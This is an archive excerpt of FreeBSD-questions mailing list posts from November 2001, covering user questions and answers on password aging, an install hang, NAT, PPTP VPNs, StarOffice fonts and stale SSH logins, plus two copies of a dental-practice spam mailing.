owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I created our user accounts on a FreeBSD system without assigning any of them to a particular class. If I want to use password aging, do I need to put everyone whose password needs to be renewed regularly in a class for this or do the default entries in /etc/login.conf cover classless accounts? There are only 12 or 13 accounts so moving all of them to a class wouldn't be that difficult but I want to enable password aging painlessly and hopefully without surprises such as people not being able to log in at all. The surprise factor is why I didn't just try it and see. Martin McCormick WB5AGZ Stillwater, OK OSU Center for Computing and Information Services Network Operations Group To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:14:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from spider10.spiderwebhost.net (spider10.spiderwebhost.net [64.95.69.17]) by hub.freebsd.org (Postfix) with ESMTP id EDD1137B405 for ; Wed, 21 Nov 2001 09:14:26 -0800 (PST) Received: from p400a (dhcp065-029-083-246.indy.rr.com [65.29.83.246]) by spider10.spiderwebhost.net (8.9.3/8.9.3) with SMTP id MAA29266 for ; Wed, 21 Nov 2001 12:14:25 -0500 Message-Id: <200111211714.MAA29266@spider10.spiderwebhost.net> Date: Wed, 21 Nov 2001 12:14:20 -0500 From: "Steven M. Seltzer" Subject: New Dental Practice Philosophy To: "questions@freebsd.org" Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I would like to wish you a very Happy Thanksgiving! We recently created a one page practice philosophy statement that emphasizes = teamwork, caring, helping others, and developing your full potential by = assuming a more active role in the practice. =20 This philosophy is designed specifically for updating skills in the practice to = utilize technology tools that improve productivity and efficiency. If you would like to receive this philosophy statement with my compliments, = please reply to this e-mail with your name, address, and e-mail address where = you would like the philosophy sent. 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Best regards, Steve Seltzer www.hitecdentist.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:15:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.mango-bay.com (mail.mango-bay.com [208.206.15.12]) by hub.freebsd.org (Postfix) with ESMTP id A90FB37B432 for ; Wed, 21 Nov 2001 09:15:27 -0800 (PST) Received: from barbish ([63.70.155.29]) by mail.mango-bay.com (Post.Office MTA v3.5.3 release 223 ID# 0-52377U2500L250S0V35) with SMTP id com; Wed, 21 Nov 2001 12:16:05 -0500 From: "Joe & Fhe Barbish" To: Cc: "FBSD Questions" Subject: RE: 4.4-Release install hangs Date: Wed, 21 Nov 2001 12:15:11 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <3BFB5D29.30517.125426D@localhost> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Redo the original install from CD and when you go into the hardware selection GUI, verify that you do not have any irq conflicts. IE: delete all the nic cards and all disks except IDE drive ad0 -----Original Message----- From: owner-freebsd-questions@FreeBSD.ORG [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig Sent: Wednesday, November 21, 2001 10:52 AM To: Joe & Fhe Barbish Cc: questions@FreeBSD.ORG Subject: RE: 4.4-Release install hangs Thanks for the snappy reply. I tried scroll-lock earlier, doesn't have any effect. The last line on the screen (the one I presume it is hanging on) doing a verbose boot is: > isa_probe_children: probing PnP devices There are no ISA cards installed. The rest of the messages that are visible look OK. When given the opportunity to configure the kernel (before it tries probing hardware and hangs) I remove all of the unused kernel drivers, with the exception of the "pc card controller", which I tried both leaving and removing. (I assume that refers to what we used to call the "PCMCIA controller") I have the parallel port disabled in the BIOS (no need for it), I wonder if that throws the install for a loop? Any further insight appreciated. Phil On 21 Nov 2001, at 10:35, Joe & Fhe Barbish boldly uttered: > Phil you need to post more info about the error. Do this. > > When the FBSD boot process starts it will stop and issue message to hit > enter to continue or any other key for command prompt. Hit space bare to go > into command line. On command line enter command boot -v the -v option > will generate verbose messages (IE long winded messages about boot process). > When system hangs hit keyboard scroll lock key to freeze buffer and them use > up arrow to scroll boot messages on screen looking for message that may give > you a pointer as to what is the problem. Post that boot log here so people > have something to look at to help you. > > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > Sent: Wednesday, November 21, 2001 10:15 AM > To: questions@FreeBSD.ORG > Subject: 4.4-Release install hangs > > I have a system here I'm trying to install 4.4-Release on, and it > keeps hanging during the initial boot at the same place - right after > it probes the serial/parallel ports. Can someone tell me what piece > of hardware is likely the problem here? Must be something it's > probing? > > This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec > SCSI. (Booting from an ATAPI CDROM) > > Thanks, > > > Phil > > > -- > Philip J. Koenig pjklist@ekahuna.com > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:16:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from spider10.spiderwebhost.net (spider10.spiderwebhost.net [64.95.69.17]) by hub.freebsd.org (Postfix) with ESMTP id A620837B405 for ; Wed, 21 Nov 2001 09:16:04 -0800 (PST) Received: from p400a (dhcp065-029-083-246.indy.rr.com [65.29.83.246]) by spider10.spiderwebhost.net (8.9.3/8.9.3) with SMTP id MAA29768 for ; Wed, 21 Nov 2001 12:16:03 -0500 Message-Id: <200111211716.MAA29768@spider10.spiderwebhost.net> Date: Wed, 21 Nov 2001 12:15:57 -0500 From: "Steven M. Seltzer" Subject: New Dental Practice Philosophy To: Release Information Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I would like to wish you a very Happy Thanksgiving! We recently created a one page practice philosophy statement that emphasizes = teamwork, caring, helping others, and developing your full potential by = assuming a more active role in the practice. =20 This philosophy is designed specifically for updating skills in the practice to = utilize technology tools that improve productivity and efficiency. If you would like to receive this philosophy statement with my compliments, = please reply to this e-mail with your name, address, and e-mail address where = you would like the philosophy sent. If you prefer not to receive future technology and practice management updates = like this one, please reply to this message and type, "remove" in the subject = line. Thank you. Best regards, Steve Seltzer www.hitecdentist.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:17:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cody.jharris.com (cody.jharris.com [205.238.128.83]) by hub.freebsd.org (Postfix) with ESMTP id D2F5837B416 for ; Wed, 21 Nov 2001 09:17:39 -0800 (PST) Received: from localhost (nick@localhost) by cody.jharris.com (8.11.1/8.9.3) with ESMTP id fALHHRS49386; Wed, 21 Nov 2001 11:17:27 -0600 (CST) (envelope-from nick@rogness.net) Date: Wed, 21 Nov 2001 11:17:26 -0600 (CST) From: Nick Rogness X-Sender: nick@cody.jharris.com To: Sheldon Hearn Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Diagrams on natd? In-Reply-To: <34942.1006355389@axl.seasidesoftware.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Sheldon Hearn wrote: > > Hi folks, > > Are there any slides offering diagrams that explain how natd fits in > with IPFW? Something like BSDCon slides, perhaps? :-) I made an animated gif that steps through the nat process: http://freebsd.rogness.net/redirect.cgi?basic/nat.html Nick Rogness - Keep on Routing in a Free World... "FreeBSD: The Power to Serve!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:18:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f78.law3.hotmail.com [209.185.241.78]) by hub.freebsd.org (Postfix) with ESMTP id 2183737B417 for ; Wed, 21 Nov 2001 09:18:44 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 09:18:44 -0800 Received: from 193.216.47.156 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 17:18:44 GMT X-Originating-IP: [193.216.47.156] From: "Thor Legvold" To: humbug@honeybourne.viewp.co.uk Cc: freebsd-questions@freebsd.org Subject: Re: Network setup questions Date: Wed, 21 Nov 2001 17:18:44 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 17:18:44.0117 (UTC) FILETIME=[92864C50:01C172B0] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Hi Thor, Hi Humbug, >PPTP vpn's use two communication channels from your m/c (client) to isp m/c >(server) > >from the client to the server there is a tcp:1723 control session >and from >the server to the client there is a gre data session. Yep, I read about these. > >you need to make sure that you are allowing these through your >firewall, >and once the session is esablished your traffic to the internet >will be >from the ng0 interface. My firewall is completely open at present - everything goes in/out, and there is a nat divert rule as well. Do I need to do anything special to nat? It's running with -s -dynamic. >HTH >Richard Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:22:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 00BF537B41F for ; Wed, 21 Nov 2001 09:21:32 -0800 (PST) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 21 Nov 2001 09:21:23 -0800 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: "Joe & Fhe Barbish" Date: Wed, 21 Nov 2001 09:21:31 -0800 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: RE: 4.4-Release install hangs Reply-To: pjklist@ekahuna.com Cc: questions@FreeBSD.ORG Message-ID: <3BFB721B.8385.17717B8@localhost> In-reply-to: References: <3BFB5D29.30517.125426D@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 21 Nov 2001, at 12:15, Joe & Fhe Barbish boldly uttered: > Redo the original install from CD and when you go into the hardware > selection GUI, verify that you do not have any irq conflicts. IE: delete all > the nic cards and all disks except IDE drive ad0 Joe, Maybe I wasn't clear -- I'm starting with a blank hard disk here, this -is- the original install. Also as I said earlier I went into the kernel config and removed any unused drivers. (I left both IDE controllers in there, even though I'm just using the primary one) At this point I may well just throw a different MB in there. Thx, Phil > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > Sent: Wednesday, November 21, 2001 10:52 AM > To: Joe & Fhe Barbish > Cc: questions@FreeBSD.ORG > Subject: RE: 4.4-Release install hangs > > Thanks for the snappy reply. > > I tried scroll-lock earlier, doesn't have any effect. The last line > on the screen (the one I presume it is hanging on) doing a verbose > boot is: > > > isa_probe_children: probing PnP devices > > > There are no ISA cards installed. The rest of the messages that are > visible look OK. > > When given the opportunity to configure the kernel (before it tries > probing hardware and hangs) I remove all of the unused kernel > drivers, with the exception of the "pc card controller", which I > tried both leaving and removing. (I assume that refers to what we > used to call the "PCMCIA controller") > > I have the parallel port disabled in the BIOS (no need for it), I > wonder if that throws the install for a loop? > > Any further insight appreciated. > > > Phil > > > On 21 Nov 2001, at 10:35, Joe & Fhe Barbish boldly uttered: > > > > Phil you need to post more info about the error. Do this. > > > > When the FBSD boot process starts it will stop and issue message to hit > > enter to continue or any other key for command prompt. Hit space bare to > go > > into command line. On command line enter command boot -v the -v option > > will generate verbose messages (IE long winded messages about boot > process). > > When system hangs hit keyboard scroll lock key to freeze buffer and them > use > > up arrow to scroll boot messages on screen looking for message that may > give > > you a pointer as to what is the problem. Post that boot log here so people > > have something to look at to help you. > > > > -----Original Message----- > > From: owner-freebsd-questions@FreeBSD.ORG > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Philip J. Koenig > > Sent: Wednesday, November 21, 2001 10:15 AM > > To: questions@FreeBSD.ORG > > Subject: 4.4-Release install hangs > > > > I have a system here I'm trying to install 4.4-Release on, and it > > keeps hanging during the initial boot at the same place - right after > > it probes the serial/parallel ports. Can someone tell me what piece > > of hardware is likely the problem here? Must be something it's > > probing? > > > > This is an ASUS P2-L97 (440 LX chipset) board with embedded Adaptec > > SCSI. (Booting from an ATAPI CDROM) > > > > Thanks, > > > > > > Phil > > > > > > -- > > Philip J. Koenig pjklist@ekahuna.com > > Electric Kahuna Systems -- Computers & Communications for the New > Millenium > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > -- > Philip J. Koenig pjklist@ekahuna.com > Electric Kahuna Systems -- Computers & Communications for the New Millenium > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:29: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 70A6E37B417 for ; Wed, 21 Nov 2001 09:29:01 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fALHSoa20001; Wed, 21 Nov 2001 12:28:50 -0500 (EST) (envelope-from mwlucas) Date: Wed, 21 Nov 2001 12:28:50 -0500 From: Michael Lucas To: admin@bltclan.com Cc: FreeBSD Subject: Re: X Windows Book? Message-ID: <20011121122850.A19979@blackhelicopters.org> References: <000e01c17250$3afb1c50$3ae57f42@cliff> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <000e01c17250$3afb1c50$3ae57f42@cliff>; from admin@bltclan.com on Tue, Nov 20, 2001 at 09:49:05PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you go check out www.xfree86.org, they have a book. Don't know the title, but when I checked it was available at bn.com. On Tue, Nov 20, 2001 at 09:49:05PM -0800, admin@bltclan.com wrote: > Hi, I am looking for a book on the X windowing system and preferably XFree86. I just want to get more familiar with it and the window managers that can be used with it. Anyone have a suggestion? -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:31:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 92EB937B416 for ; Wed, 21 Nov 2001 09:31:21 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fALHV9220029; Wed, 21 Nov 2001 12:31:09 -0500 (EST) (envelope-from mwlucas) Date: Wed, 21 Nov 2001 12:31:09 -0500 From: Michael Lucas To: David Groves Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Fonts, Staroffice and Postscript Printers. Message-ID: <20011121123109.B19979@blackhelicopters.org> References: <3BFB87AF.52C357F5@imagination.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFB87AF.52C357F5@imagination.com>; from david.groves@imagination.com on Wed, Nov 21, 2001 at 10:53:35AM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Do a google search on staroffice fonts. One of the first hits is a page describing all the changes that have to be made, and a script that does them for you. The script has two problems: a leading /bin/bash, and it calls gawk which is just awk on FreeBSD systems, so you'll need to change those. It ran perfectly for me after those changes. On Wed, Nov 21, 2001 at 10:53:35AM +0000, David Groves wrote: > Having some problems with installing new fonts on a staroffice 5.2 with > the target of printing to HP (M) series printers, with built in > postscript support. The X server in question is 4.0.2, using a remote > xfs (which as a 4 series, has built in truetype font support, but that > doesn't really matter). > > Starting out with a particular truetype font, I've converted it into a > postscript type 1 font (since this is all that Staroffice can print), > using the tt2ps1 utility that can be found here --> > http://leuksman.com/linux/ttfutils.html > > I've then used the type1inst port (the perl script) to add this to my X > server, and this is successful, and I can see the font in xlsfonts, view > it with xfontsel etc ... > > However, the next stage involves running the spadmin utility (as root), > to add the font to the staroffice proprietary font/printing systems. > Sadly, when following the instructions exactly as given in the setup > guide, spadmin coredumps just as it is about to finish (after the dialog > box telling you how to change your fontpath on a permanent basis). > > I've tried two more fonts, that were already type1 format, so it doesn't > appear to be the conversion. > > I have also found this website --> http://linux.nf/stoffont3.html, with > a description of the "under the hood" behaviour of the spadmin utility. > In my case, the symlinks in /opt/Office51/xp3/pssoftfonts (or here, > /compat/linux/usr/local/staroffice/xp3/pssoftfonts),, and > xp3/fontmetrics/afm/ (similar path change). However the update to > xp3/psstd.fonts that is supposed to be performed isn't. > > I've tried making this update by hand, but all attempts to do this just > create which doesn't scale on screen (I don't mean gets larger, and > pixelated, it simply looks the same size on screen at 12 point as at 96 > point), and prints as Times. > > Anyone done/seen this before ? > > > > -- > ____________________________________________________________________ > Imagination 25 Store Street South Crescent London WC1E 7BL England | > Tel +44 20 7323 3300 Fax +44 20 7323 5801 | > _______________________________________________________| > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:38: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.ztlaw.com (ztlaw.com [166.70.106.34]) by hub.freebsd.org (Postfix) with ESMTP id 1BE8637B418 for ; Wed, 21 Nov 2001 09:38:00 -0800 (PST) Received: from Goku (goku.ztlaw.com [166.70.106.35]) by mail.ztlaw.com (Postfix) with SMTP id A9E3729994 for ; Wed, 21 Nov 2001 10:40:41 -0700 (MST) Message-ID: <005301c172b3$83961c90$236a46a6@ztlaw.com> From: "Clayton Tycksen" To: Subject: spam mailings to list Date: Wed, 21 Nov 2001 10:39:47 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0050_01C17278.D72FA370" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0050_01C17278.D72FA370 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable what's with all the SPAM i keep getting that's being posted to the list? -c ------=_NextPart_000_0050_01C17278.D72FA370 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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------=_NextPart_000_0050_01C17278.D72FA370-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:40:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp012.mail.yahoo.com (smtp012.mail.yahoo.com [216.136.173.32]) by hub.freebsd.org (Postfix) with SMTP id 25F7637B417 for ; Wed, 21 Nov 2001 09:40:36 -0800 (PST) Received: from unknown (HELO mlevy) (12.27.148.78) by smtp.mail.vip.sc5.yahoo.com with SMTP; 21 Nov 2001 17:40:35 -0000 Message-ID: <01f401c172b4$0623be10$fd6e34c6@mlevy> From: "Bara Zani" To: Subject: anybody using freebsd with earthlink connection ? Date: Wed, 21 Nov 2001 12:43:25 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i want to be able to send email from my bsd box .... _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:40:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id E61AB37B41B for ; Wed, 21 Nov 2001 09:40:43 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id fALHavd49924; Wed, 21 Nov 2001 19:36:57 +0200 (EET) (envelope-from ru) Date: Wed, 21 Nov 2001 19:36:57 +0200 From: Ruslan Ermilov To: Alexey Dokuchaev Cc: questions@FreeBSD.ORG Subject: Re: releng4.freebsd.org Message-ID: <20011121193657.E40787@sunbay.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 10:15:03PM +0600, Alexey Dokuchaev wrote: > Hello! > > There seems to be a problem with ftp://releng4.freebsd.org/, where I > usually get installation files and stuff. Starting with snapshot > 4.4-20011117-STABLE (and up to current 4.4-20011121-STABLE) almost all > files have zero size. Can this be fixed? > Should be fixed now, according to JKH. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:53:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx0.ecxnetwork.net (mx0.ecxnetwork.net [208.144.33.2]) by hub.freebsd.org (Postfix) with ESMTP id 2082037B416 for ; Wed, 21 Nov 2001 09:53:40 -0800 (PST) Received: from mailsvr.ecx.com ([208.144.33.135]) by mx0.ecxnetwork.net (8.11.3/8.11.3) with ESMTP id fALHTNp06497 for ; Wed, 21 Nov 2001 09:29:23 -0800 (PST) (envelope-from JHilgeman@ecx.com) Received: by mailsvr.ecx.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Nov 2001 09:52:07 -0800 Message-ID: <5D90F61EB6FDD411836500508B137F1AA3F06C@mailsvr.ecx.com> From: Jonathan Hilgeman To: "'freebsd-questions@freebsd.org'" Subject: Log Out Other Users Date: Wed, 21 Nov 2001 09:51:59 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG When I type "who" I get a list of about 4 users who are logged in via SSH. I know some of them are old sessions that just timed out or something, so I find the PIDs of the SSH processes, and kill those PIDs. However, sometimes this doesn't do the trick. They disappear entirely from the process list, but they continue to show up when I type who. Is there a better way to kill users? - Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 9:56: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from openrelay.msu.edu (openrelay.msu.edu [35.9.98.20]) by hub.freebsd.org (Postfix) with ESMTP id F345437B417 for ; Wed, 21 Nov 2001 09:56:00 -0800 (PST) Received: from works ([65.194.248.251]) by openrelay.msu.edu (8.11.1/8.11.1) with ESMTP id fALHiLp16534 for ; Wed, 21 Nov 2001 12:44:21 -0500 (EST) (envelope-from raiden23@netzero.net) Message-Id: <4.2.0.58.20011121130120.00979aa0@pop.netzero.net> X-Sender: raiden23@pop.netzero.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Wed, 21 Nov 2001 13:02:02 -0500 To: freebsd-questions@FreeBSD.ORG From: Lord Raiden Subject: Novell and BSD Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Silly question, I know this doesn't apply to me since we don't use Novell, but how well does BSD work with Novell and how easy is it to setup? I'm just deathly curious. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10: 3:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f138.law3.hotmail.com [209.185.241.138]) by hub.freebsd.org (Postfix) with ESMTP id B5D4E37B416 for ; Wed, 21 Nov 2001 10:03:29 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 10:03:29 -0800 Received: from 193.216.47.156 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 18:03:29 GMT X-Originating-IP: [193.216.47.156] From: "Thor Legvold" To: R.deGroot@DTO.TUDelft.NL Cc: freebsd-questions@freebsd.org Subject: Re: Network setup questions Date: Wed, 21 Nov 2001 18:03:29 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 18:03:29.0674 (UTC) FILETIME=[D33DC6A0:01C172B6] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks Ruben, I'll look it over. I've checked over and over, I think the problem must lie somewhere in my configurations files. The LAN seems to work fine, and nat worked fine before, even if it did complain sometimes when the firewall rules got in the way, so I *think* my network setup is correct, at least runable, all my clients can ping each other, ssh works fine, etc. But I can't seem to get any farther in pptp than connecting to the remote server, everythin stops there, looks like it refuses my ConfigReq's. >Hi Thor, >This setup looks basically very similar to the ADSL setup I get from my >ISP. > >I also have a pptp server with a private adres (the ADSL modem) and I >connect to the internet via pptpclient, which is in the ports tree. >I wrote a small howto (in Dutch, but you'll probably get the point) on the >setup, maybe it's >helpfull to you: >http://www.xs4all.nl/~rubeng/bsdstream.html >cheers _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 10: 5:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id 8392337B405 for ; Wed, 21 Nov 2001 10:05:11 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166blM-0000Ed-00; Wed, 21 Nov 